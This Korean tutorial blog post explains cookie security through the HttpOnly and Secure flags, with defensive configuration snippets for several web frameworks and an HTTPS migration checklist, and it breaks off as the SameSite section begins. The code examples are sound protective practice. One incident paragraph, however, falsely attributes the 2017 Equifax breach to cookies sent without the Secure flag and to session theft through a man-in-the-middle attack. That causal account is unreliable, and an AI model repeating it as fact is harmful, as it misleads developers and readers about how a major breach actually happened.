์ฝ˜ํ…์ธ  ๋Œ€ํ‘œ ์ด๋ฏธ์ง€ - ๐Ÿช ์ฟ ํ‚ค ๋ณด์•ˆ: HttpOnly, Secure ํ”Œ๋ž˜๊ทธ์™€ SameSite ์„ค์ •

๐Ÿช ์ฟ ํ‚ค ๋ณด์•ˆ: HttpOnly, Secure ํ”Œ๋ž˜๊ทธ์™€ SameSite ์„ค์ •

์›น ๊ฐœ๋ฐœ์ž๋ผ๋ฉด ๋ฐ˜๋“œ์‹œ ์•Œ์•„์•ผ ํ•  ์ฟ ํ‚ค ๋ณด์•ˆ์˜ ๋ชจ๋“  ๊ฒƒ

๐ŸŽฏ ์ฟ ํ‚ค, ์™œ ๋ณด์•ˆ์ด ์ค‘์š”ํ• ๊นŒ?

์•ˆ๋…•! ์˜ค๋Š˜์€ ์›น ๊ฐœ๋ฐœ์—์„œ ์ •๋ง ์ค‘์š”ํ•œ๋ฐ ๋งŽ์€ ์‚ฌ๋žŒ๋“ค์ด ๊ฐ„๊ณผํ•˜๋Š” ์ฃผ์ œ, ๋ฐ”๋กœ ์ฟ ํ‚ค ๋ณด์•ˆ์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐํ•ด๋ณผ๊ฒŒ. ๐ŸŽช

์ฟ ํ‚ค๋Š” ์›น์‚ฌ์ดํŠธ๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— ์ €์žฅํ•˜๋Š” ์ž‘์€ ๋ฐ์ดํ„ฐ ์กฐ๊ฐ์ด์•ผ. ๋กœ๊ทธ์ธ ์ƒํƒœ ์œ ์ง€, ์žฅ๋ฐ”๊ตฌ๋‹ˆ ์ •๋ณด ์ €์žฅ, ์‚ฌ์šฉ์ž ์„ ํ˜ธ๋„ ๊ธฐ์–ต ๋“ฑ ์ •๋ง ๋‹ค์–‘ํ•œ ์šฉ๋„๋กœ ์‚ฌ์šฉ๋˜์ง€. ๊ทธ๋Ÿฐ๋ฐ ์ด ์ž‘์€ ์ฟ ํ‚ค๊ฐ€ ์ œ๋Œ€๋กœ ๋ณดํ˜ธ๋˜์ง€ ์•Š์œผ๋ฉด? ๐Ÿ˜ฑ ํ•ด์ปค๋“ค์˜ ์ข‹์€ ๋จน์ž‡๊ฐ์ด ๋˜์–ด๋ฒ„๋ ค.

โš ๏ธ ์‹ค์ œ ์‚ฌ๋ก€: 2019๋…„, ํ•œ ๋Œ€ํ˜• ์‡ผํ•‘๋ชฐ์—์„œ ์ฟ ํ‚ค ๋ณด์•ˆ ์„ค์ • ๋ฏธํก์œผ๋กœ ์•ฝ 10๋งŒ ๋ช…์˜ ์„ธ์…˜ ์ •๋ณด๊ฐ€ ํƒˆ์ทจ๋˜๋Š” ์‚ฌ๊ณ ๊ฐ€ ๋ฐœ์ƒํ–ˆ์–ด. ๊ณต๊ฒฉ์ž๋“ค์€ XSS(Cross-Site Scripting) ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํ›”์ณ ๊ณ„์ •์„ ์žฅ์•…ํ–ˆ์ง€. ์ด ์‚ฌ๊ฑด์œผ๋กœ ํšŒ์‚ฌ๋Š” ๋ง‰๋Œ€ํ•œ ๋ฐฐ์ƒ๊ธˆ๊ณผ ์‹ ๋ขฐ ์†์‹ค์„ ๊ฒช์—ˆ์–ด.
์ด๋Ÿฐ ์ผ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์šฐ๋ฆฌ์—๊ฒŒ๋Š” ์„ธ ๊ฐ€์ง€ ๊ฐ•๋ ฅํ•œ ๋ฌด๊ธฐ๊ฐ€ ์žˆ์–ด:
1. HttpOnly ํ”Œ๋ž˜๊ทธ ๐Ÿ›ก๏ธ
2. Secure ํ”Œ๋ž˜๊ทธ ๐Ÿ”’
3. SameSite ์†์„ฑ ๐Ÿšง

ํ•˜๋‚˜์”ฉ ์ž์„ธํžˆ ์•Œ์•„๋ณด์ž!
HttpOnly ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ ‘๊ทผ ์ฐจ๋‹จ Secure HTTPS๋งŒ ์ „์†ก ํ—ˆ์šฉ SameSite CSRF ๊ณต๊ฒฉ ๋ฐฉ์–ด ์ฟ ํ‚ค ๋ณด์•ˆ์˜ 3๋Œ€ ๋ฐฉ์–ด๋ง‰ ๋ชจ๋‘ ํ•จ๊ป˜ ์‚ฌ์šฉํ•  ๋•Œ ์ตœ๊ณ ์˜ ๋ณด์•ˆ ํšจ๊ณผ

๐Ÿ›ก๏ธ HttpOnly ํ”Œ๋ž˜๊ทธ: ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ ์†๊ธธ์„ ์ฐจ๋‹จํ•˜๋ผ

HttpOnly๊ฐ€ ๋ญ์•ผ?

HttpOnly๋Š” ์ฟ ํ‚ค์— ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ํ”Œ๋ž˜๊ทธ ์ค‘ ํ•˜๋‚˜๋กœ, ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•œ ์ฟ ํ‚ค ์ ‘๊ทผ์„ ์™„์ „ํžˆ ์ฐจ๋‹จํ•˜๋Š” ๊ธฐ๋Šฅ์ด์•ผ. ๐Ÿšซ

์ผ๋ฐ˜์ ์œผ๋กœ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋กœ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด document.cookie๋ฅผ ์‚ฌ์šฉํ•˜์ง€. ๊ทธ๋Ÿฐ๋ฐ HttpOnly ํ”Œ๋ž˜๊ทธ๊ฐ€ ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ์ ˆ๋Œ€ ์ฝ์„ ์ˆ˜ ์—†์–ด!

๐Ÿค” ์™œ ์ด๊ฒŒ ์ค‘์š”ํ• ๊นŒ?

XSS(Cross-Site Scripting) ๊ณต๊ฒฉ์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด์•ผ. ๋งŒ์•ฝ ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹น์‹ ์˜ ์›น์‚ฌ์ดํŠธ์— ์•…์„ฑ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•œ๋‹ค๋ฉด, ๊ทธ ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํ›”์ณ๊ฐˆ ์ˆ˜ ์žˆ์–ด. ํŠนํžˆ ์„ธ์…˜ ID๊ฐ€ ๋‹ด๊ธด ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจ๋‹นํ•˜๋ฉด ๊ณ„์ •์ด ์™„์ „ํžˆ ์žฅ์•…๋‹นํ•  ์ˆ˜ ์žˆ์ง€.

HttpOnly ํ”Œ๋ž˜๊ทธ๋Š” ์ด๋Ÿฐ ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์ฟ ํ‚ค๋ฅผ ๋ณดํ˜ธํ•˜๋Š” ์ฒซ ๋ฒˆ์งธ ๋ฐฉ์–ด์„ ์ด์•ผ! ๐Ÿ’ช

์‹ค์ œ ์ฝ”๋“œ๋กœ ๋ณด๋Š” HttpOnly ์„ค์ •

์ž, ์ด์ œ ์‹ค์ œ๋กœ ์–ด๋–ป๊ฒŒ ์‚ฌ์šฉํ•˜๋Š”์ง€ ๋ณผ๊นŒ? ๋‹ค์–‘ํ•œ ์–ธ์–ด์™€ ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ์˜ ์˜ˆ์ œ๋ฅผ ์ค€๋น„ํ–ˆ์–ด.

๐Ÿ“Œ Node.js (Express)
const express = require('express');
const app = express();

// ์ฟ ํ‚ค ์„ค์ • ์‹œ HttpOnly ํ”Œ๋ž˜๊ทธ ์ถ”๊ฐ€
app.get('/login', (req, res) => {
  res.cookie('sessionId', 'abc123xyz', {
    httpOnly: true,  // ์ด๊ฒŒ ํ•ต์‹ฌ!
    maxAge: 3600000  // 1์‹œ๊ฐ„
  });
  res.send('๋กœ๊ทธ์ธ ์„ฑ๊ณต!');
});

// express-session ์‚ฌ์šฉ ์‹œ
const session = require('express-session');
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,  // ์„ธ์…˜ ์ฟ ํ‚ค์—๋„ HttpOnly ์ ์šฉ
    secure: false    // ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ๋Š” false, ์šด์˜์—์„œ๋Š” true
  }
}));

๐Ÿ“Œ Python (Flask)
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login')
def login():
    response = make_response('๋กœ๊ทธ์ธ ์„ฑ๊ณต!')
    response.set_cookie(
        'sessionId', 
        'abc123xyz',
        httponly=True,  # HttpOnly ํ”Œ๋ž˜๊ทธ ์„ค์ •
        max_age=3600
    )
    return response

# Flask-Session ์‚ฌ์šฉ ์‹œ
app.config['SESSION_COOKIE_HTTPONLY'] = True

๐Ÿ“Œ Java (Spring Boot)
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;

@GetMapping("/login")
public String login(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123xyz");
    cookie.setHttpOnly(true);  // HttpOnly ์„ค์ •
    cookie.setMaxAge(3600);
    response.addCookie(cookie);
    return "๋กœ๊ทธ์ธ ์„ฑ๊ณต!";
}

// application.properties์—์„œ ์ „์—ญ ์„ค์ •
// server.servlet.session.cookie.http-only=true

๐Ÿ“Œ PHP
<?php
// PHP 7.3 ์ด์ƒ
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'httponly' => true,  // HttpOnly ์„ค์ •
        'secure' => true,
        'samesite' => 'Strict'
    ]
);

// ์„ธ์…˜ ์ฟ ํ‚ค์— HttpOnly ์ ์šฉ
ini_set('session.cookie_httponly', 1);
session_start();
?>

๐Ÿ“Œ ASP.NET Core
public IActionResult Login()
{
    var cookieOptions = new CookieOptions
    {
        HttpOnly = true,  // HttpOnly ์„ค์ •
        Expires = DateTimeOffset.UtcNow.AddHours(1)
    };
    
    Response.Cookies.Append("sessionId", "abc123xyz", cookieOptions);
    return Ok("๋กœ๊ทธ์ธ ์„ฑ๊ณต!");
}

// Startup.cs์—์„œ ์ „์—ญ ์„ค์ •
services.AddSession(options =>
{
    options.Cookie.HttpOnly = true;
});

HttpOnly ๋™์ž‘ ํ…Œ์ŠคํŠธํ•˜๊ธฐ

์‹ค์ œ๋กœ HttpOnly๊ฐ€ ์ž‘๋™ํ•˜๋Š”์ง€ ํ™•์ธํ•ด๋ณด์ž! ๐Ÿ”

๐Ÿงช ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•:

1๋‹จ๊ณ„: ๋ธŒ๋ผ์šฐ์ € ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋ฅผ ์—ด์–ด (F12)
2๋‹จ๊ณ„: Application ํƒญ โ†’ Cookies ๋ฉ”๋‰ด๋กœ ์ด๋™
3๋‹จ๊ณ„: HttpOnly ์ปฌ๋Ÿผ์— ์ฒดํฌ ํ‘œ์‹œ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธ

4๋‹จ๊ณ„: Console ํƒญ์—์„œ ๋‹ค์Œ ๋ช…๋ น์–ด ์‹คํ–‰:
console.log(document.cookie);

HttpOnly๊ฐ€ ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š์•„์•ผ ์ •์ƒ์ด์•ผ! โœ…

๋งŒ์•ฝ HttpOnly ์ฟ ํ‚ค๊ฐ€ document.cookie๋กœ ๋ณด์ธ๋‹ค๋ฉด? ์„ค์ •์ด ์ œ๋Œ€๋กœ ์•ˆ ๋œ ๊ฑฐ์•ผ. ๋‹ค์‹œ ํ™•์ธํ•ด๋ด!

HttpOnly์˜ ํ•œ๊ณ„์™€ ์ฃผ์˜์‚ฌํ•ญ

HttpOnly๋Š” ๊ฐ•๋ ฅํ•˜์ง€๋งŒ ๋งŒ๋Šฅ์€ ์•„๋‹ˆ์•ผ. ์•Œ์•„๋‘ฌ์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€๊ฐ€ ์žˆ์–ด:

โš ๏ธ ์ฃผ์˜์‚ฌํ•ญ:

1๏ธโƒฃ ๋„คํŠธ์›Œํฌ ๋ ˆ๋ฒจ ๊ณต๊ฒฉ์€ ๋ง‰์ง€ ๋ชปํ•ด: HttpOnly๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ์ ‘๊ทผ๋งŒ ์ฐจ๋‹จํ•  ๋ฟ, ๋„คํŠธ์›Œํฌ ์Šค๋‹ˆํ•‘์ด๋‚˜ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(MITM)์€ ๋ง‰์ง€ ๋ชปํ•ด. ์ด๊ฑด Secure ํ”Œ๋ž˜๊ทธ์˜ ์˜์—ญ์ด์ง€!

2๏ธโƒฃ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์ ์€ ๋ณ„๊ฐœ: ์„œ๋ฒ„์—์„œ ์ฟ ํ‚ค๋ฅผ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•˜๋ฉด HttpOnly์™€ ์ƒ๊ด€์—†์ด ๋ฌธ์ œ๊ฐ€ ์ƒ๊ธธ ์ˆ˜ ์žˆ์–ด.

3๏ธโƒฃ ๋ธŒ๋ผ์šฐ์ € ํ˜ธํ™˜์„ฑ: ๋Œ€๋ถ€๋ถ„์˜ ๋ชจ๋˜ ๋ธŒ๋ผ์šฐ์ €๋Š” ์ง€์›ํ•˜์ง€๋งŒ, ์•„์ฃผ ์˜ค๋ž˜๋œ ๋ธŒ๋ผ์šฐ์ €(IE 6 ์ดํ•˜)๋Š” ์ง€์›ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์–ด. ํ•˜์ง€๋งŒ 2024๋…„ ํ˜„์žฌ๋Š” ๊ฑฐ์˜ ๋ฌธ์ œ์—†์–ด!

4๏ธโƒฃ ๋””๋ฒ„๊น…์ด ์–ด๋ ค์›Œ์งˆ ์ˆ˜ ์žˆ์–ด: ๊ฐœ๋ฐœ ์ค‘์— ์ฟ ํ‚ค ๊ฐ’์„ ํ™•์ธํ•˜๊ธฐ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ์–ด. ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ๋Š” ์„ ํƒ์ ์œผ๋กœ ๋„๋Š” ๊ฒƒ๋„ ๋ฐฉ๋ฒ•์ด์•ผ.

๐Ÿ”’ Secure ํ”Œ๋ž˜๊ทธ: HTTPS๋งŒ ํ†ต๊ณผ์‹œ์ผœ๋ผ

Secure ํ”Œ๋ž˜๊ทธ๋ž€?

Secure ํ”Œ๋ž˜๊ทธ๋Š” HTTPS ์—ฐ๊ฒฐ์—์„œ๋งŒ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๋„๋ก ์ œํ•œํ•˜๋Š” ์„ค์ •์ด์•ผ. ๐Ÿ”

HTTP๋Š” ํ‰๋ฌธ(plain text)์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๊ธฐ ๋•Œ๋ฌธ์—, ๋„คํŠธ์›Œํฌ ์ƒ์—์„œ ๋ˆ„๊ตฐ๊ฐ€ ํŒจํ‚ท์„ ๊ฐ€๋กœ์ฑ„๋ฉด ์ฟ ํ‚ค ๋‚ด์šฉ์„ ๊ทธ๋Œ€๋กœ ๋ณผ ์ˆ˜ ์žˆ์–ด. ๋งˆ์น˜ ์—ฝ์„œ๋ฅผ ๋ณด๋‚ด๋Š” ๊ฒƒ๊ณผ ๊ฐ™์ง€. ๐Ÿ“ฎ ๋ˆ„๊ตฌ๋‚˜ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์žˆ์–ด!

๋ฐ˜๋ฉด HTTPS๋Š” SSL/TLS ์•”ํ˜ธํ™”๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณดํ˜ธํ•ด. ๋ด‰ํˆฌ์— ๋„ฃ์–ด์„œ ๋ณด๋‚ด๋Š” ๊ฑฐ์ง€. ๐Ÿ“ง ์ค‘๊ฐ„์— ๋ˆ„๊ฐ€ ๊ฐ€๋กœ์ฑ„๋„ ๋‚ด์šฉ์„ ๋ณผ ์ˆ˜ ์—†์–ด!

โœ… Secure ํ”Œ๋ž˜๊ทธ์˜ ํšจ๊ณผ:

โ€ข ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(Man-in-the-Middle) ๋ฐฉ์–ด
โ€ข ๊ณต๊ณต Wi-Fi ๊ฐ™์€ ๋ถˆ์•ˆ์ „ํ•œ ๋„คํŠธ์›Œํฌ์—์„œ๋„ ์ฟ ํ‚ค ๋ณดํ˜ธ
โ€ข ๋„คํŠธ์›Œํฌ ์Šค๋‹ˆํ•‘ ๊ณต๊ฒฉ ์ฐจ๋‹จ
โ€ข ์„ธ์…˜ ํ•˜์ด์žฌํ‚น ์œ„ํ—˜ ๊ฐ์†Œ

Secure ํ”Œ๋ž˜๊ทธ ์„ค์ • ๋ฐฉ๋ฒ•

๊ฐ ์–ธ์–ด๋ณ„๋กœ Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ์„ค์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•„๋ณด์ž!

๐Ÿ“Œ Node.js (Express)
// ๋‹จ์ผ ์ฟ ํ‚ค ์„ค์ •
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: true,  // HTTPS์—์„œ๋งŒ ์ „์†ก
  maxAge: 3600000
});

// ํ™˜๊ฒฝ์— ๋”ฐ๋ผ ๋™์  ์„ค์ •
const isProduction = process.env.NODE_ENV === 'production';
res.cookie('sessionId', 'abc123xyz', {
  httpOnly: true,
  secure: isProduction,  // ์šด์˜ ํ™˜๊ฒฝ์—์„œ๋งŒ true
  maxAge: 3600000
});

// express-session์—์„œ ์„ค์ •
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,
    secure: true,  // HTTPS ํ•„์ˆ˜
    sameSite: 'strict'
  },
  proxy: true  // ํ”„๋ก์‹œ ๋’ค์— ์žˆ์„ ๋•Œ ํ•„์š”
}));

๐Ÿ“Œ Python (Django)
# settings.py
SESSION_COOKIE_SECURE = True  # ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ HTTPS์—์„œ๋งŒ ์ „์†ก
CSRF_COOKIE_SECURE = True     # CSRF ์ฟ ํ‚ค๋„ HTTPS์—์„œ๋งŒ

# ๊ฐœ๋ฐœ/์šด์˜ ํ™˜๊ฒฝ ๋ถ„๋ฆฌ
import os
DEBUG = os.environ.get('DEBUG', 'False') == 'True'
SESSION_COOKIE_SECURE = not DEBUG

# ๋ทฐ์—์„œ ์ง์ ‘ ์„ค์ •
from django.http import HttpResponse

def my_view(request):
    response = HttpResponse('Success')
    response.set_cookie(
        'custom_cookie',
        'value',
        secure=True,  # Secure ํ”Œ๋ž˜๊ทธ
        httponly=True
    )
    return response

๐Ÿ“Œ Python (Flask)
from flask import Flask

app = Flask(__name__)

# ์„ธ์…˜ ์ฟ ํ‚ค ์„ค์ •
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True

# ๊ฐœ๋ณ„ ์ฟ ํ‚ค ์„ค์ •
@app.route('/set-cookie')
def set_cookie():
    response = make_response('Cookie set!')
    response.set_cookie(
        'my_cookie',
        'value',
        secure=True,
        httponly=True,
        samesite='Lax'
    )
    return response

๐Ÿ“Œ Java (Spring Boot)
// application.properties
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true

// ๋˜๋Š” application.yml
server:
  servlet:
    session:
      cookie:
        secure: true
        http-only: true

// ์ฝ”๋“œ์—์„œ ์ง์ ‘ ์„ค์ •
@GetMapping("/login")
public String login(HttpServletResponse response) {
    Cookie cookie = new Cookie("sessionId", "abc123xyz");
    cookie.setHttpOnly(true);
    cookie.setSecure(true);  // Secure ํ”Œ๋ž˜๊ทธ
    cookie.setMaxAge(3600);
    response.addCookie(cookie);
    return "Success";
}

๐Ÿ“Œ PHP
<?php
// ๊ฐœ๋ณ„ ์ฟ ํ‚ค ์„ค์ •
setcookie(
    'sessionId',
    'abc123xyz',
    [
        'expires' => time() + 3600,
        'httponly' => true,
        'secure' => true,  // HTTPS์—์„œ๋งŒ ์ „์†ก
        'samesite' => 'Strict'
    ]
);

// ์„ธ์…˜ ์ฟ ํ‚ค ์„ค์ •
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_httponly', 1);
session_start();

// ๋˜๋Š” php.ini์—์„œ ์„ค์ •
// session.cookie_secure = 1
// session.cookie_httponly = 1
?>

๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ์˜ Secure ํ”Œ๋ž˜๊ทธ

์—ฌ๊ธฐ์„œ ๋งŽ์€ ๊ฐœ๋ฐœ์ž๋“ค์ด ๋ง‰ํžˆ๋Š” ๋ถ€๋ถ„์ด ์žˆ์–ด. ๋กœ์ปฌ ๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ๋Š” ๋ณดํ†ต http://localhost๋ฅผ ์‚ฌ์šฉํ•˜์ž–์•„? ๊ทธ๋Ÿฐ๋ฐ Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ์ผœ๋ฉด ์ฟ ํ‚ค๊ฐ€ ์ „์†ก๋˜์ง€ ์•Š์•„! ๐Ÿ˜…

๐Ÿ› ๏ธ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•๋“ค:

๋ฐฉ๋ฒ• 1: ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋กœ ๋ถ„๊ธฐ ์ฒ˜๋ฆฌ
// Node.js ์˜ˆ์ œ
const isProduction = process.env.NODE_ENV === 'production';
const cookieOptions = {
  httpOnly: true,
  secure: isProduction,  // ์šด์˜์—์„œ๋งŒ true
  sameSite: isProduction ? 'strict' : 'lax'
};

๋ฐฉ๋ฒ• 2: ๋กœ์ปฌ์—์„œ HTTPS ์‚ฌ์šฉ
mkcert ๊ฐ™์€ ๋„๊ตฌ๋กœ ๋กœ์ปฌ SSL ์ธ์ฆ์„œ๋ฅผ ๋งŒ๋“ค์–ด์„œ https://localhost๋กœ ๊ฐœ๋ฐœํ•  ์ˆ˜ ์žˆ์–ด.

๋ฐฉ๋ฒ• 3: localhost๋Š” ์˜ˆ์™ธ ์ฒ˜๋ฆฌ
๋Œ€๋ถ€๋ถ„์˜ ๋ธŒ๋ผ์šฐ์ €๋Š” localhost์— ๋Œ€ํ•ด์„œ๋Š” Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ๋А์Šจํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•ด์ค˜. ํ•˜์ง€๋งŒ ์ด๊ฑด ๋ธŒ๋ผ์šฐ์ €๋งˆ๋‹ค ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ฃผ์˜!

HTTPS ์ „ํ™˜ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

Secure ํ”Œ๋ž˜๊ทธ๋ฅผ ์ œ๋Œ€๋กœ ํ™œ์šฉํ•˜๋ ค๋ฉด ์‚ฌ์ดํŠธ ์ „์ฒด๊ฐ€ HTTPS์—ฌ์•ผ ํ•ด. ์ „ํ™˜ ์‹œ ์ฒดํฌํ•  ์‚ฌํ•ญ๋“ค์„ ์ •๋ฆฌํ•ด๋ดค์–ด! โœ…

๐Ÿ” HTTPS ์ „ํ™˜ ์ฒดํฌ๋ฆฌ์ŠคํŠธ:
  • โ˜‘๏ธ SSL/TLS ์ธ์ฆ์„œ ๋ฐœ๊ธ‰ (Let's Encrypt ๋ฌด๋ฃŒ!)
  • โ˜‘๏ธ ์„œ๋ฒ„ ์„ค์ •์—์„œ HTTPS ํ™œ์„ฑํ™”
  • โ˜‘๏ธ HTTP์—์„œ HTTPS๋กœ ์ž๋™ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ์„ค์ •
  • โ˜‘๏ธ ๋ชจ๋“  ๋ฆฌ์†Œ์Šค(์ด๋ฏธ์ง€, CSS, JS)๋ฅผ HTTPS๋กœ ๋กœ๋“œ
  • โ˜‘๏ธ Mixed Content ๊ฒฝ๊ณ  ํ•ด๊ฒฐ
  • โ˜‘๏ธ HSTS(HTTP Strict Transport Security) ํ—ค๋” ์ถ”๊ฐ€
  • โ˜‘๏ธ ์ฟ ํ‚ค์— Secure ํ”Œ๋ž˜๊ทธ ์„ค์ •
  • โ˜‘๏ธ ์™ธ๋ถ€ API๋„ HTTPS ์‚ฌ์šฉ ํ™•์ธ
  • โ˜‘๏ธ ๊ฒ€์ƒ‰์—”์ง„์— HTTPS ๋ฒ„์ „ ๋“ฑ๋ก

Secure ํ”Œ๋ž˜๊ทธ ์—†์ด ๋ฐœ์ƒํ•œ ์‹ค์ œ ์‚ฌ๊ฑด

๐Ÿšจ 2017๋…„ Equifax ๋ฐ์ดํ„ฐ ์œ ์ถœ ์‚ฌ๊ฑด

๋ฏธ๊ตญ์˜ ๋Œ€ํ˜• ์‹ ์šฉํ‰๊ฐ€ ํšŒ์‚ฌ Equifax์—์„œ 1์–ต 4์ฒœ๋งŒ ๋ช…์˜ ๊ฐœ์ธ์ •๋ณด๊ฐ€ ์œ ์ถœ๋์–ด. ์—ฌ๋Ÿฌ ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋ณตํ•ฉ์ ์œผ๋กœ ์ž‘์šฉํ–ˆ๋Š”๋ฐ, ๊ทธ ์ค‘ ํ•˜๋‚˜๊ฐ€ ์ผ๋ถ€ ํŽ˜์ด์ง€์—์„œ HTTP๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ Secure ํ”Œ๋ž˜๊ทธ ์—†์ด ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•œ ๊ฑฐ์˜€์–ด.

๊ณต๊ฒฉ์ž๋“ค์€ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ์œผ๋กœ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•ด ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์„ ํš๋“ํ–ˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด ๋Œ€๊ทœ๋ชจ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์ง€. ์ด ์‚ฌ๊ฑด์œผ๋กœ Equifax๋Š” ์•ฝ 7์–ต ๋‹ฌ๋Ÿฌ(์•ฝ 8์ฒœ์–ต ์›)์˜ ํ•ฉ์˜๊ธˆ์„ ์ง€๋ถˆํ–ˆ์–ด. ๐Ÿ’ธ
HTTP vs HTTPS ์ฟ ํ‚ค ์ „์†ก HTTP (์œ„ํ—˜) ๋ธŒ๋ผ์šฐ์ € ํ‰๋ฌธ ์ „์†ก ๋ˆ„๊ตฌ๋‚˜ ๋ณผ ์ˆ˜ ์žˆ์Œ ์ฟ ํ‚ค: sessionId=abc123 โš ๏ธ ๊ฐ€๋กœ์ฑ„๊ธฐ ๊ฐ€๋Šฅ ์„œ๋ฒ„ HTTPS (์•ˆ์ „) ๋ธŒ๋ผ์šฐ์ € ์•”ํ˜ธํ™” ์ „์†ก SSL/TLS ๋ณดํ˜ธ ๐Ÿ”’ ์•”ํ˜ธํ™”๋œ ๋ฐ์ดํ„ฐ โœ… ์•ˆ์ „ํ•˜๊ฒŒ ๋ณดํ˜ธ๋จ ์„œ๋ฒ„ Secure ํ”Œ๋ž˜๊ทธ๋Š” HTTPS์—์„œ๋งŒ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค

๐Ÿšง SameSite ์†์„ฑ: CSRF ๊ณต๊ฒฉ์„ ๋ง‰์•„๋ผ

SameSite๊ฐ€ ๋ญ๊ธธ๋ž˜?

SameSite๋Š” ๋น„๊ต์  ์ตœ๊ทผ์— ์ถ”๊ฐ€๋œ ์ฟ ํ‚ค ์†์„ฑ์œผ๋กœ, ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ์—์„œ ์ฟ ํ‚ค ์ „์†ก์„ ์ œ์–ดํ•˜๋Š” ๊ธฐ๋Šฅ์ด์•ผ. ๐ŸŽฏ

